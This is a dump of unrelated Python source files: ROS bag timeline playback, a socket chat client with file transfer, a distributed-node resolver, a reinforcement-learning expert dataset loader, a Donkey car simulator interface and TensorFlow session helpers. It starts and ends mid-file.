Get new playhead if self.stick_to_end: new_playhead = self.end_stamp else: new_playhead = self._timeline_frame.playhead + rospy.Duration.from_sec((now - self.last_frame).to_sec() * self.play_speed) start_stamp, end_stamp = self._timeline_frame.play_region if new_playhead > end_stamp: if self.wrap: if self.play_speed > 0.0: new_playhead = start_stamp else: new_playhead = end_stamp else: new_playhead = end_stamp if self.play_speed > 0.0: self.stick_to_end = True elif new_playhead < start_stamp: if self.wrap: if self.play_speed < 0.0: new_playhead = end_stamp else: new_playhead = start_stamp else: new_playhead = start_stamp # Update the playhead self._timeline_frame.playhead = new_playhead self.last_frame = now self.last_playhead = self._timeline_frame.playhead def step_next_message(self): """ Move the playhead to the next message """ if self.play_speed <= 0.0 or not self._timeline_frame.playhead: self.last_frame = None self.last_playhead = None return if self.last_frame: if not self.desired_playhead: self.desired_playhead = self._timeline_frame.playhead else: delta = rospy.Time.from_sec(time.time()) - self.last_frame if delta > rospy.Duration.from_sec(0.1): delta = rospy.Duration.from_sec(0.1) self.desired_playhead += delta # Get the occurrence of the next message next_message_time = self.get_next_message_time() if next_message_time < self.desired_playhead: self._timeline_frame.playhead = next_message_time else: self._timeline_frame.playhead = self.desired_playhead self.last_frame = rospy.Time.from_sec(time.time()) self.last_playhead = self._timeline_frame.playhead ### Recording def record_bag(self, filename, all=True, topics=[], regex=False, limit=0): try: self._recorder = Recorder(filename, bag_lock=self._bag_lock, all=all, topics=topics, regex=regex, limit=limit) except Exception, ex: qWarning('Error opening bag for recording [%s]: %s' % (filename, str(ex))) return self._recorder.add_listener(self._message_recorded) self.add_bag(self._recorder.bag) self._recorder.start() self.wrap = False self._timeline_frame._index_cache_thread.period = 0.1 self.update() def toggle_recording(self): if self._recorder: self._recorder.toggle_paused() self.update() def _message_recorded(self, topic, msg, t): if self._timeline_frame._start_stamp is None: self._timeline_frame._start_stamp = t self._timeline_frame._end_stamp = t self._timeline_frame._playhead = t elif self._timeline_frame._end_stamp is None or t > self._timeline_frame._end_stamp: self._timeline_frame._end_stamp = t if not self._timeline_frame.topics or topic not in self._timeline_frame.topics: self._timeline_frame.topics = self._get_topics() self._timeline_frame._topics_by_datatype = self._get_topics_by_datatype() self._playhead_positions_cvs[topic] = threading.Condition() self._messages_cvs[topic] = threading.Condition() self._message_loaders[topic] = MessageLoaderThread(self, topic) if self._timeline_frame._stamp_left is None: self.reset_zoom() # Notify the index caching thread that it has work to do with self._timeline_frame.index_cache_cv: self._timeline_frame.invalidated_caches.add(topic) self._timeline_frame.index_cache_cv.notify() if topic in self._listeners: for listener in self._listeners[topic]: try: listener.timeline_changed() except Exception, ex: qWarning('Error calling timeline_changed on %s: %s' % (type(listener), str(ex))) ### Views / listeners def add_view(self, topic, frame): self._views.append(frame) def has_listeners(self, topic): return topic in self._listeners def add_listener(self, topic, listener): self._listeners.setdefault(topic, []).append(listener) self._message_listener_threads[(topic, listener)] = MessageListenerThread(self, topic, listener) # Notify the message listeners self._message_loaders[topic].reset() with self._playhead_positions_cvs[topic]: self._playhead_positions_cvs[topic].notify_all() self.update() def remove_listener(self, topic, listener): topic_listeners = self._listeners.get(topic) if topic_listeners is not None and listener in topic_listeners: topic_listeners.remove(listener) if len(topic_listeners) == 0: del self._listeners[topic] # Stop the message listener thread if (topic, listener) in self._message_listener_threads: self._message_listener_threads[(topic, listener)].stop() del self._message_listener_threads[(topic, listener)] self.update() ### Playhead # property: play_speed def _get_play_speed(self): if self._timeline_frame._paused: return 0.0 return self._play_speed def _set_play_speed(self, play_speed): if play_speed == self._play_speed: return if play_speed > 0.0: self._play_speed = min(self._max_play_speed, max(self._min_play_speed, play_speed)) elif play_speed < 0.0: self._play_speed = max(-self._max_play_speed, min(-self._min_play_speed, play_speed)) else: self._play_speed = play_speed if self._play_speed < 1.0: self.stick_to_end = False self.update() play_speed = property(_get_play_speed, _set_play_speed) def toggle_play(self): if self._play_speed != 0.0: self.play_speed = 0.0 else: self.play_speed = 1.0 def navigate_play(self): self.play_speed = 1.0 self.last_frame = rospy.Time.from_sec(time.time()) self.last_playhead = self._timeline_frame.playhead self._play_timer.start() def navigate_stop(self): self.play_speed = 0.0 self._play_timer.stop() def navigate_previous(self): self.navigate_stop() self._timeline_frame.playhead = self.get_previous_message_time() self.last_playhead = self._timeline_frame.playhead def navigate_next(self): self.navigate_stop() self._timeline_frame.playhead = self.get_next_message_time() self.last_playhead = self._timeline_frame.playhead def navigate_rewind(self): if self._play_speed < 0.0: new_play_speed = self._play_speed * 2.0 elif self._play_speed == 0.0: new_play_speed = -1.0 else: new_play_speed = self._play_speed * 0.5 self.play_speed = new_play_speed def navigate_fastforward(self): if self._play_speed > 0.0: new_play_speed = self._play_speed * 2.0 elif self._play_speed == 0.0: new_play_speed = 2.0 else: new_play_speed = self._play_speed * 0.5 self.play_speed = new_play_speed def navigate_start(self): self._timeline_frame.playhead = self._timeline_frame.play_region[0] def navigate_end(self): self._timeline_frame.playhead = self._timeline_frame.play_region[1]
client.py
import socket import threading import os import signal from sys import platform import sys import base64 class clientType: PORT = 5050 DISCONNECT_MESSAGE = "exit" passkey = '' IP = '' username = '' client = '' def __init__(self): if platform == "linux" or platform == "linux2" or platform == "darwin": os.system('clear') elif platform == "win32": os.system('cls') else: print('Unsupported OS') exit(1) self.passkey = sys.argv[1] self.IP = self.decode_key(self.passkey) self.mainFunc() def getName(self): self.username = input("Enter your username: ") while not self.username.isalpha(): print(" \n \t ERROR: The username should only contain alphabates. \n") self.username = input('Enter server name : ') def decode_key(self, valu): try: decoded_data = base64.b64decode(valu) dec_ip = decoded_data.decode('utf-8') if len(dec_ip) == 8: dec_ip = '192.168' + dec_ip.lstrip('0') elif len(dec_ip) == 15: dec_ip = dec_ip.lstrip('0') elif len(dec_ip) == 0: print("Please enter a passkey \n ") self.passkey = input(" Re-enter your accesskey : ") dec_ip = self.decode_key(self.passkey) else: print("Please enter the correct passkey \n ") self.passkey = input(" Re-enter your accesskey : ") dec_ip = self.decode_key(self.passkey) except (ConnectionRefusedError, UnicodeDecodeError, UnboundLocalError, base64.binascii.Error): print("Please enter the correct passkey \n ") self.passkey = input(" Re-enter your accesskey : ") dec_ip = self.decode_key(self.passkey) finally: return dec_ip def receive(self): #self. username while True: try: message = self.client.recv(1024).decode('utf-8') if message == 'Connect': self.client.send(self.username.encode('utf-8')) elif message == 'Server left': print('\nServer has disconnected\n') os._exit(0) elif 'Connected to' in message: print('\n \t ', message, '\n') elif 'Username updated to [' in message: print(message) self.username = message[25:-1] elif message.startswith("file:"): filename, filesize = message[5:].split(";") # remove absolute path if there is filename = os.path.basename(filename) # convert to integer filesize = int(filesize) os.mkdir('Proximity_files') filename = os.path.join('Proximity_files', filename) with open(filename, "wb") as f: bytes_read = self.client.recv(filesize) f.write(bytes_read) else: print('\t\t\t\t', message) except: print("An error occured!") self.client.close() break def write(self): while True: try: input_val = input() if input_val == self.DISCONNECT_MESSAGE: self.client.send(self.DISCONNECT_MESSAGE.encode('utf-8')) self.client.close() print('You will be disconnected') os._exit(0) elif input_val.startswith("file:"): filename=input_val[5:] filesize=os.path.getsize("Proximity_files/Client/"+filename) message = input_val+";"+str(filesize) self.client.send(message.encode('utf-8')) with open(("Proximity_files/Client/"+filename), "rb") as f: bytes_read = f.read(filesize) self.client.send(bytes_read) print("File sent") else: message = '[{}] : {}'.format(self.username, input_val) self.client.send(message.encode('utf-8')) except: print('\n \t Error Occoured while Reading input \n') self.client.send(self.DISCONNECT_MESSAGE.encode('utf-8')) self.client.close() print('You will be disconnected') os._exit(0) def keyboardInterruptHandler(self, signal, frame): print('Interrupted') self.client.send(self.DISCONNECT_MESSAGE.encode('utf-8')) self.client.close() print('You will be disconnected') os._exit(0) def mainFunc(self): self.getName() self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect((self.IP, self.PORT)) signal.signal(signal.SIGINT, self.keyboardInterruptHandler) receive_thread = threading.Thread(target=self.receive) receive_thread.start() write_thread = threading.Thread(target=self.write) write_thread.start() c1 = clientType()
resolver.py
"""Contains code related to the module resolver.""" # standard import logging from threading import Thread import os import requests import time # local from resolve.enums import Module, MessageType, SystemStatus from conf.config import get_nodes from communication.zeromq import rate_limiter from metrics.messages import msgs_sent # globals logger = logging.getLogger(__name__) class Resolver: """Module resolver that facilitates communication between modules.""" def __init__(self, testing=False): """Initializes the resolver.""" self.modules = None self.senders = {} self.fd_senders = {} self.receiver = None self.fd_receiver = None self.nodes = get_nodes() self.own_comm_ready = False self.other_comm_ready = False self.system_status = SystemStatus.BOOTING # check other nodes for system ready before starting system if not testing: t = Thread(target=self.wait_for_other_nodes) t.start() # inject resolver in rate limiter module rate_limiter.resolver = self # Support non-self-stabilizing mode self.self_stab = os.getenv("NON_SELF_STAB") is None def wait_for_other_nodes(self): """Write me.""" if len(self.nodes) == 1: self.other_comm_ready = True return system_ready = False while not system_ready: nodes_ready = [] for n_id, node in self.nodes.items(): try: r = requests.get(f"http://{node.hostname}:{4000 + n_id}") is_ready = (r.status_code == 200 and r.json()["status"] != SystemStatus.BOOTING.name) nodes_ready.append(is_ready) except Exception: nodes_ready.append(False) system_ready = all(nodes_ready) if not system_ready: time.sleep(0.1) self.system_status = SystemStatus.RUNNING logger.info(f"System running at UNIX time {time.time()}") def system_running(self): """Return True if the system as a whole i running.""" return self.system_status == SystemStatus.RUNNING def set_modules(self, modules): """Sets the modules dict of the resolver.""" self.modules = modules # inter-node communication methods def send_to_node(self, node_id, msg_dct, fd_msg=False): """Sends a message to a given node. Message should be a dictionary, which will be serialized to json and converted to a byte object before sent over the links to the other node. """ if node_id not in self.senders and node_id not in self.fd_senders: logger.error(f"Non-existing sender for node {node_id}") try: sender = (self.senders[node_id] if not fd_msg else self.fd_senders[node_id]) sender.add_msg_to_queue(msg_dct) except Exception as e: logger.error(f"Something went wrong when sending msg {msg_dct} " + f"to node {node_id}. Error: {e}") def broadcast(self, msg_dct): """Broadcasts a message to all nodes.""" for node_id, _ in self.senders.items(): self.send_to_node(node_id, msg_dct) def dispatch_msg(self, msg): """Routes received message to the correct module.""" msg_type = msg["type"] if msg_type == MessageType.HELLO_WORD_MESSAGE: self.modules[Module.HELLO_WORLD_MODULE].receive_msg(msg) else: logger.error(f"Message with invalid type {msg_type} cannot be" + " dispatched") def on_message_sent(self, msg={}, metric_data={}): """Callback function when a communication module has sent the message. Used for metrics. """ id = int(os.getenv("ID")) # emit message sent message msgs_sent.labels(id).inc() def get_hello_world_module_data(self): return self.modules[Module.HELLO_WORLD_MODULE].get_data()
dataset.py
import queue import time from multiprocessing import Queue, Process import cv2 # pytype:disable=import-error import numpy as np from joblib import Parallel, delayed from stable_baselines import logger class ExpertDataset(object): """ Dataset for using behavior cloning or GAIL. The structure of the expert dataset is a dict, saved as an ".npz" archive. The dictionary contains the keys 'actions', 'episode_returns', 'rewards', 'obs' and 'episode_starts'. The corresponding values have data concatenated across episode: the first axis is the timestep, the remaining axes index into the data. In case of images, 'obs' contains the relative path to the images, to enable space saving from image compression. :param expert_path: (str) The path to trajectory data (.npz file). Mutually exclusive with traj_data. :param traj_data: (dict) Trajectory data, in format described above. Mutually exclusive with expert_path. :param train_fraction: (float) the train validation split (0 to 1) for pre-training using behavior cloning (BC) :param batch_size: (int) the minibatch size for behavior cloning :param traj_limitation: (int) the number of trajectory to use (if -1, load all) :param randomize: (bool) if the dataset should be shuffled :param verbose: (int) Verbosity :param sequential_preprocessing: (bool) Do not use subprocess to preprocess the data (slower but use less memory for the CI) """ def __init__(self, expert_path=None, traj_data=None, train_fraction=0.7, batch_size=64, traj_limitation=-1, randomize=True, verbose=1, sequential_preprocessing=False): if traj_data is not None and expert_path is not None: raise ValueError("Cannot specify both 'traj_data' and 'expert_path'") if traj_data is None and expert_path is None: raise ValueError("Must specify one of 'traj_data' or 'expert_path'") if traj_data is None: traj_data = np.load(expert_path, allow_pickle=True) if verbose > 0: for key, val in traj_data.items(): print(key, val.shape) # Array of bool where episode_starts[i] = True for each new episode episode_starts = traj_data['episode_starts'] traj_limit_idx = len(traj_data['obs']) if traj_limitation > 0: n_episodes = 0 # Retrieve the index corresponding # to the traj_limitation trajectory for idx, episode_start in enumerate(episode_starts): n_episodes += int(episode_start) if n_episodes == (traj_limitation + 1): traj_limit_idx = idx - 1 observations = traj_data['obs'][:traj_limit_idx] actions = traj_data['actions'][:traj_limit_idx] # obs, actions: shape (N * L, ) + S # where N = # episodes, L = episode length # and S is the environment observation/action space. # S = (1, ) for discrete space # Flatten to (N * L, prod(S)) if len(observations.shape) > 2: observations = np.reshape(observations, [-1, np.prod(observations.shape[1:])]) if len(actions.shape) > 2: actions = np.reshape(actions, [-1, np.prod(actions.shape[1:])]) indices = np.random.permutation(len(observations)).astype(np.int64) # Train/Validation split when using behavior cloning train_indices = indices[:int(train_fraction * len(indices))] val_indices = indices[int(train_fraction * len(indices)):] assert len(train_indices) > 0, "No sample for the training set" assert len(val_indices) > 0, "No sample for the validation set" self.observations = observations self.actions = actions self.returns = traj_data['episode_returns'][:traj_limit_idx] self.avg_ret = sum(self.returns) / len(self.returns) self.std_ret = np.std(np.array(self.returns)) self.verbose = verbose assert len(self.observations) == len(self.actions), "The number of actions and observations differ " \ "please check your expert dataset" self.num_traj = min(traj_limitation, np.sum(episode_starts)) self.num_transition = len(self.observations) self.randomize = randomize self.sequential_preprocessing = sequential_preprocessing self.dataloader = None self.train_loader = DataLoader(train_indices, self.observations, self.actions, batch_size, shuffle=self.randomize, start_process=False, sequential=sequential_preprocessing) self.val_loader = DataLoader(val_indices, self.observations, self.actions, batch_size, shuffle=self.randomize, start_process=False, sequential=sequential_preprocessing) if self.verbose >= 1: self.log_info() def init_dataloader(self, batch_size): """ Initialize the dataloader used by GAIL. :param batch_size: (int) """ indices = np.random.permutation(len(self.observations)).astype(np.int64) self.dataloader = DataLoader(indices, self.observations, self.actions, batch_size, shuffle=self.randomize, start_process=False, sequential=self.sequential_preprocessing) def __del__(self): del self.dataloader, self.train_loader, self.val_loader def prepare_pickling(self): """ Exit processes in order to pickle the dataset. """ self.dataloader, self.train_loader, self.val_loader = None, None, None def log_info(self): """ Log the information of the dataset. """ logger.log("Total trajectories: {}".format(self.num_traj)) logger.log("Total transitions: {}".format(self.num_transition)) logger.log("Average returns: {}".format(self.avg_ret)) logger.log("Std for returns: {}".format(self.std_ret)) def get_next_batch(self, split=None): """ Get the batch from the dataset. :param split: (str) the type of data split (can be None, 'train', 'val') :return: (np.ndarray, np.ndarray) inputs and labels """ dataloader = { None: self.dataloader, 'train': self.train_loader, 'val': self.val_loader }[split] if dataloader.process is None: dataloader.start_process() try: return next(dataloader) except StopIteration: dataloader = iter(dataloader) return next(dataloader) def plot(self): """ Show histogram plotting of the episode returns """ # Isolate dependency since it is only used for plotting and also since # different matplotlib backends have further dependencies themselves. import matplotlib.pyplot as plt plt.hist(self.returns) plt.show() class DataLoader(object): """ A custom dataloader to preprocessing observations (including images) and feed them to the network. Original code for the dataloader from https://github.com/araffin/robotics-rl-srl (MIT licence) Authors: Antonin Raffin, René Traoré, Ashley Hill :param indices: ([int]) list of observations indices :param observations: (np.ndarray) observations or images path :param actions: (np.ndarray) actions :param batch_size: (int) Number of samples per minibatch :param n_workers: (int) number of preprocessing worker (for loading the images) :param infinite_loop: (bool) whether to have an iterator that can be reset :param max_queue_len: (int) Max number of minibatches that can be preprocessed at the same time :param shuffle: (bool) Shuffle the minibatch after each epoch :param start_process: (bool) Start the preprocessing process (default: True) :param backend: (str) joblib backend (one of 'multiprocessing', 'sequential', 'threading' or 'loky' in newest versions) :param sequential: (bool) Do not use subprocess to preprocess the data (slower but use less memory for the CI) :param partial_minibatch: (bool) Allow partial minibatches (minibatches with a number of element lesser than the batch_size) """ def __init__(self, indices, observations, actions, batch_size, n_workers=1, infinite_loop=True, max_queue_len=1, shuffle=False, start_process=True, backend='threading', sequential=False, partial_minibatch=True): super(DataLoader, self).__init__() self.n_workers = n_workers self.infinite_loop = infinite_loop self.indices = indices self.original_indices = indices.copy() self.n_minibatches = len(indices) // batch_size # Add a partial minibatch, for instance # when there is not enough samples if partial_minibatch and len(indices) % batch_size > 0: self.n_minibatches += 1 self.batch_size = batch_size self.observations = observations self.actions = actions self.shuffle = shuffle self.queue = Queue(max_queue_len) self.process = None self.load_images = isinstance(observations[0], str) self.backend = backend self.sequential = sequential self.start_idx = 0 if start_process: self.start_process() def start_process(self): """Start preprocessing process""" # Skip if in sequential mode if self.sequential: return self.process = Process(target=self._run) # Make it a deamon, so it will be deleted at the same time # of the main process self.process.daemon = True self.process.start() @property def _minibatch_indices(self): """ Current minibatch indices given the current pointer (start_idx) and the minibatch size :return: (np.ndarray) 1D array of indices """ return self.indices[self.start_idx:self.start_idx + self.batch_size] def sequential_next(self): """ Sequential version of the pre-processing. """ if self.start_idx > len(self.indices): raise StopIteration if self.start_idx == 0: if self.shuffle: # Shuffle indices np.random.shuffle(self.indices) obs = self.observations[self._minibatch_indices] if self.load_images: obs = np.concatenate([self._make_batch_element(image_path) for image_path in obs], axis=0) actions = self.actions[self._minibatch_indices] self.start_idx += self.batch_size return obs, actions def _run(self): start = True with Parallel(n_jobs=self.n_workers, batch_size="auto", backend=self.backend) as parallel: while start or self.infinite_loop: start = False if self.shuffle: np.random.shuffle(self.indices) for minibatch_idx in range(self.n_minibatches): self.start_idx = minibatch_idx * self.batch_size obs = self.observations[self._minibatch_indices] if self.load_images: if self.n_workers <= 1: obs = [self._make_batch_element(image_path) for image_path in obs] else: obs = parallel(delayed(self._make_batch_element)(image_path) for image_path in obs) obs = np.concatenate(obs, axis=0) actions = self.actions[self._minibatch_indices] self.queue.put((obs, actions)) # Free memory del obs self.queue.put(None) @classmethod def _make_batch_element(cls, image_path): """ Process one element. :param image_path: (str) path to an image :return: (np.ndarray) """ # cv2.IMREAD_UNCHANGED is needed to load # grey and RGBa images image = cv2.imread(image_path, cv2.IMREAD_UNCHANGED) # Grey image if len(image.shape) == 2: image = image[:, :, np.newaxis] if image is None: raise ValueError("Tried to load {}, but it was not found".format(image_path)) # Convert from BGR to RGB if image.shape[-1] == 3: image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = image.reshape((1,) + image.shape) return image def __len__(self): return self.n_minibatches def __iter__(self): self.start_idx = 0 self.indices = self.original_indices.copy() return self def __next__(self): if self.sequential: return self.sequential_next() if self.process is None: raise ValueError("You must call .start_process() before using the dataloader") while True: try: val = self.queue.get_nowait() break except queue.Empty: time.sleep(0.001) continue if val is None: raise StopIteration return val def __del__(self): if self.process is not None: self.process.terminate()
donkey_sim.py
''' file: donkey_sim.py author: Tawn Kramer date: 2018-08-31 ''' import os import json import shutil import base64 import random import time from io import BytesIO import math from threading import Thread import numpy as np from PIL import Image from io import BytesIO import base64 import datetime import asyncore from donkey_gym.core.fps import FPSTimer from donkey_gym.core.tcp_server import IMesgHandler, SimServer from donkey_gym.envs.donkey_ex import SimFailed class DonkeyUnitySimContoller(): def __init__(self, level, time_step=0.05, port=9090, max_cte=5.0, verbose=False, cam_resolution=(120, 160, 3)): self.address = ('0.0.0.0', port) self.handler = DonkeyUnitySimHandler(level, time_step=time_step, max_cte=max_cte, verbose=verbose, cam_resolution=cam_resolution) try: self.server = SimServer(self.address, self.handler) except OSError: print('raising custom error') raise SimFailed("failed to listen on address %s" % self.address) self.thread = Thread(target=asyncore.loop) self.thread.daemon = True self.thread.start() def wait_until_loaded(self): while not self.handler.loaded: print("waiting for sim to start..") time.sleep(3.0) def reset(self): self.handler.reset() def get_sensor_size(self): return self.handler.get_sensor_size() def take_action(self, action): self.handler.take_action(action) def observe(self): return self.handler.observe() def quit(self): pass def render(self, mode): pass def is_game_over(self): return self.handler.is_game_over() def calc_reward(self, done): return self.handler.calc_reward(done) class DonkeyUnitySimHandler(IMesgHandler): def __init__(self, level, time_step=0.05, max_cte=5.0, verbose=False, cam_resolution=None): self.iSceneToLoad = level self.time_step = time_step self.wait_time_for_obs = 0.1 self.sock = None self.loaded = False self.verbose = verbose self.max_cte = max_cte self.timer = FPSTimer() # sensor size - height, width, depth self.camera_img_size = cam_resolution self.image_array = np.zeros(self.camera_img_size) self.last_obs = None self.hit = "none" self.cte = 0.0 self.x = 0.0 self.y = 0.0 self.z = 0.0 self.speed = 0.0 self.over = False self.fns = {'telemetry' : self.on_telemetry, "scene_selection_ready" : self.on_scene_selection_ready, "scene_names": self.on_recv_scene_names, "car_loaded" : self.on_car_loaded } def on_connect(self, socketHandler): self.sock = socketHandler def on_disconnect(self): self.sock = None def on_recv_message(self, message): if not 'msg_type' in message: print('expected msg_type field') return msg_type = message['msg_type'] if msg_type in self.fns: self.fns[msg_type](message) else: print('unknown message type', msg_type) ## ------- Env interface ---------- ## def reset(self): if self.verbose: print("reseting") self.image_array = np.zeros(self.camera_img_size) self.last_obs = self.image_array self.hit = "none" self.cte = 0.0 self.x = 0.0 self.y = 0.0 self.z = 0.0 self.speed = 0.0 self.over = False self.send_reset_car() self.timer.reset() time.sleep(1) def get_sensor_size(self): return self.camera_img_size def take_action(self, action): if self.verbose: print("take_action") self.send_control(action[0], action[1]) def observe(self): while self.last_obs is self.image_array: time.sleep(1.0 / 120.0) self.last_obs = self.image_array observation = self.image_array done = self.is_game_over() reward = self.calc_reward(done) info = {} self.timer.on_frame() return observation, reward, done, info def is_game_over(self): return self.over ## ------ RL interface ----------- ## def calc_reward(self, done): if done: return -1.0 if self.cte > self.max_cte: return -1.0 if self.hit != "none": return -2.0 #going fast close to the center of lane yeilds best reward return 1.0 - (self.cte / self.max_cte) * self.speed ## ------ Socket interface ----------- ## def on_telemetry(self, data): imgString = data["image"] image = Image.open(BytesIO(base64.b64decode(imgString))) #always update the image_array as the observation loop will hang if not changing. self.image_array = np.asarray(image) #don't update other telemetry once session over if self.over: return self.hit = data["hit"] self.x = data["pos_x"] self.y = data["pos_y"] self.z = data["pos_z"] self.speed = data["speed"] #Cross track error not always present. #Will be missing if path is not setup in the given scene. #It should be setup in the 4 scenes available now. try: self.cte = data["cte"] except: pass self.determine_episode_over() def determine_episode_over(self): #we have a few initial frames on start that are sometimes very large CTE when it's behind #the path just slightly. We ignore those. if math.fabs(self.cte) > 2 * self.max_cte: pass elif math.fabs(self.cte) > self.max_cte: if self.verbose: print("game over: cte", self.cte) self.over = True elif self.hit != "none": if self.verbose: print("game over: hit", self.hit) self.over = True def on_scene_selection_ready(self, data): print("SceneSelectionReady ") self.send_get_scene_names() def on_car_loaded(self, data): if self.verbose: print("car loaded") self.loaded = True def on_recv_scene_names(self, data): if data: names = data['scene_names'] if self.verbose: print("SceneNames:", names) self.send_load_scene(names[self.iSceneToLoad]) def send_control(self, steer, throttle): if not self.loaded: return msg = { 'msg_type' : 'control', 'steering': steer.__str__(), 'throttle':throttle.__str__(), 'brake': '0.0' } self.queue_message(msg) def send_reset_car(self): msg = { 'msg_type' : 'reset_car' } self.queue_message(msg) def send_get_scene_names(self): msg = { 'msg_type' : 'get_scene_names' } self.queue_message(msg) def send_load_scene(self, scene_name): msg = { 'msg_type' : 'load_scene', 'scene_name' : scene_name } self.queue_message(msg) def queue_message(self, msg): if self.sock is None: if self.verbose: print('skiping:', msg) return if self.verbose: print('sending', msg) self.sock.queue_message(msg)
tf_util.py
# import numpy as np import tensorflow as tf # pylint: ignore-module import copy import os import functools import collections import multiprocessing # # # def mask_filter(ops, mask_ops): # return tf.boolean_mask(ops, tf.not_equal(tf.squeeze(mask_ops, axis=-1), 0.0)) def one_dim_layer_normalization(input): return tf.contrib.layers.layer_norm(input, begin_norm_axis=input.shape.ndims - 1, center=True, scale=True) def shape(tensor): static = tensor.get_shape().as_list() dynamic = tf.unstack(tf.shape(tensor)) assert len(static) == len(dynamic) combined = [d if s is None else s for s, d in zip(static, dynamic)] return combined # # def switch(condition, then_expression, else_expression): # """Switches between two operations depending on a scalar value (int or bool). # Note that both `then_expression` and `else_expression` # should be symbolic tensors of the *same shape*. # # # Arguments # condition: scalar tensor. # then_expression: TensorFlow operation. # else_expression: TensorFlow operation. # """ # x_shape = copy.copy(then_expression.get_shape()) # x = tf.cond(tf.cast(condition, 'bool'), # lambda: then_expression, # lambda: else_expression) # x.set_shape(x_shape) # return x # # # ================================================================ # # Extras # # ================================================================ # # def lrelu(x, leak=0.2): # f1 = 0.5 * (1 + leak) # f2 = 0.5 * (1 - leak) # return f1 * x + f2 * abs(x) # # # ================================================================ # # Mathematical utils # # ================================================================ # # def huber_loss(x, delta=1.0): # """Reference: https://en.wikipedia.org/wiki/Huber_loss""" # return tf.where( # tf.abs(x) < delta, # tf.square(x) * 0.5, # delta * (tf.abs(x) - 0.5 * delta) # ) # # ================================================================ # Global session # ================================================================ def get_session(config=None): """Get default session or create one with a given config""" sess = tf.get_default_session() if sess is None: sess = make_session(make_default=True) return sess def make_session(percent=1.0, adaptive=False, make_default=False, num_cpu=8, graph=None): """ create session object Parameters ---------- percent : float A value between 0 and 1 that indicates what fraction of the available GPU memory to pre-allocate for each process. adaptive : bool If true, the allocator does not pre-allocate the entire specified GPU memory region, instead starting small and growing as needed. NOTE: if adaptive set true, percent turn to useless Returns ------- string a value in a string Raises ------ KeyError when a key error """ if num_cpu is None: num_cpu = int(os.getenv('RCALL_NUM_CPU', multiprocessing.cpu_count())) gpu_options = tf.GPUOptions(allow_growth=adaptive) tf_config = tf.ConfigProto(allow_soft_placement=True, intra_op_parallelism_threads=num_cpu, inter_op_parallelism_threads=num_cpu, gpu_options=gpu_options) if make_default: sess = tf.InteractiveSession(config=tf_config, graph=graph) else: sess = tf.Session(config=tf_config, graph=graph) return sess def single_threaded_session(): """Returns a session which will only use a single CPU""" return make_session(num_cpu=1) def in_session(f): @functools.wraps(f) def newfunc(*args, **kwargs): with tf.Session(): f(*args, **kwargs) return newfunc ALREADY_INITIALIZED = set() def initialize(): """Initialize all the uninitialized variables in the global scope.""" new_variables = set(tf.global_variables()) - ALREADY_INITIALIZED get_session().run(tf.variables_initializer(new_variables)) ALREADY_INITIALIZED.update(new_variables) # # ================================================================ # # Model components # # ================================================================ # # def normc_initializer(std=1.0, axis=0): # def _initializer(shape, dtype=None, partition_info=None): # pylint: disable=W0613 # out = np.random.randn(*shape).astype(dtype.as_numpy_dtype) # out *= std / np.sqrt(np.square(out).sum(axis=axis, keepdims=True)) # return tf.constant(out) # return _initializer # # def conv2d(x, num_filters, name, filter_size=(3, 3), stride=(1, 1), pad="SAME", dtype=tf.float32, collections=None, # summary_tag=None): # with tf.variable_scope(name): # stride_shape = [1, stride[0], stride[1], 1] # filter_shape = [filter_size[0], filter_size[1], int(x.get_shape()[3]), num_filters] # # # there are "num input feature maps * filter height * filter width" # # inputs to each hidden unit # fan_in = intprod(filter_shape[:3]) # # each unit in the lower layer receives a gradient from: # # "num output feature maps * filter height * filter width" / # # pooling size # fan_out = intprod(filter_shape[:2]) * num_filters # # initialize weights with random weights # w_bound = np.sqrt(6. / (fan_in + fan_out)) # # w = tf.get_variable("W", filter_shape, dtype, tf.random_uniform_initializer(-w_bound, w_bound), # collections=collections) # b = tf.get_variable("b", [1, 1, 1, num_filters], initializer=tf.zeros_initializer(), # collections=collections) # # if summary_tag is not None: # tf.summary.image(summary_tag, # tf.transpose(tf.reshape(w, [filter_size[0], filter_size[1], -1, 1]), # [2, 0, 1, 3]), # max_images=10) # # return tf.nn.conv2d(x, w, stride_shape, pad) + b # # # ================================================================ # # Theano-like Function # # ================================================================ # # def function(inputs, outputs, updates=None, givens=None): # """Just like Theano function. Take a bunch of tensorflow placeholders and expressions # computed based on those placeholders and produces f(inputs) -> outputs. Function f takes # values to be fed to the input's placeholders and produces the values of the expressions # in outputs. # # Input values can be passed in the same order as inputs or can be provided as kwargs based # on placeholder name (passed to constructor or accessible via placeholder.op.name). # # Example: # x = tf.placeholder(tf.int32, (), name="x") # y = tf.placeholder(tf.int32, (), name="y") # z = 3 * x + 2 * y # lin = function([x, y], z, givens={y: 0}) # # with single_threaded_session(): # initialize() # # assert lin(2) == 6 # assert lin(x=3) == 9 # assert lin(2, 2) == 10 # assert lin(x=2, y=3) == 12 # # Parameters # ---------- # inputs: [tf.placeholder, tf.constant, or object with make_feed_dict method] # list of input arguments # outputs: [tf.Variable] or tf.Variable # list of outputs or a single output to be returned from function. Returned # value will also have the same shape. # updates: [tf.Operation] or tf.Operation # list of update functions or single update function that will be run whenever # the function is called. The return is ignored. # # """ # if isinstance(outputs, list): # return _Function(inputs, outputs, updates, givens=givens) # elif isinstance(outputs, (dict, collections.OrderedDict)): # f = _Function(inputs, outputs.values(), updates, givens=givens) # return lambda *args, **kwargs: type(outputs)(zip(outputs.keys(), f(*args, **kwargs))) # else: # f = _Function(inputs, [outputs], updates, givens=givens) # return lambda *args, **kwargs: f(*args, **kwargs)[0] # # # class _Function(object): # def __init__(self, inputs, outputs, updates, givens): # for inpt in inputs: # if not hasattr(inpt, 'make_feed_dict') and not (type(inpt) is tf.Tensor and len(inpt.op.inputs) == 0): # assert False, "inputs should all be placeholders, constants, or have a make_feed_dict method" # self.inputs = inputs # self.input_names = {inp.name.split("/")[-1].split(":")[0]: inp for inp in inputs} # updates = updates or [] # self.update_group = tf.group(*updates) # self.outputs_update = list(outputs) + [self.update_group] # self.givens = {} if givens is None else givens # # def _feed_input(self, feed_dict, inpt, value): # if hasattr(inpt, 'make_feed_dict'): # feed_dict.update(inpt.make_feed_dict(value)) # else: # feed_dict[inpt] = adjust_shape(inpt, value) # # def __call__(self, *args, **kwargs): # assert len(args) + len(kwargs) <= len(self.inputs), "Too many arguments provided" # feed_dict = {} # # Update feed dict with givens. # for inpt in self.givens: # feed_dict[inpt] = adjust_shape(inpt, feed_dict.get(inpt, self.givens[inpt])) # # Update the args # for inpt, value in zip(self.inputs, args): # 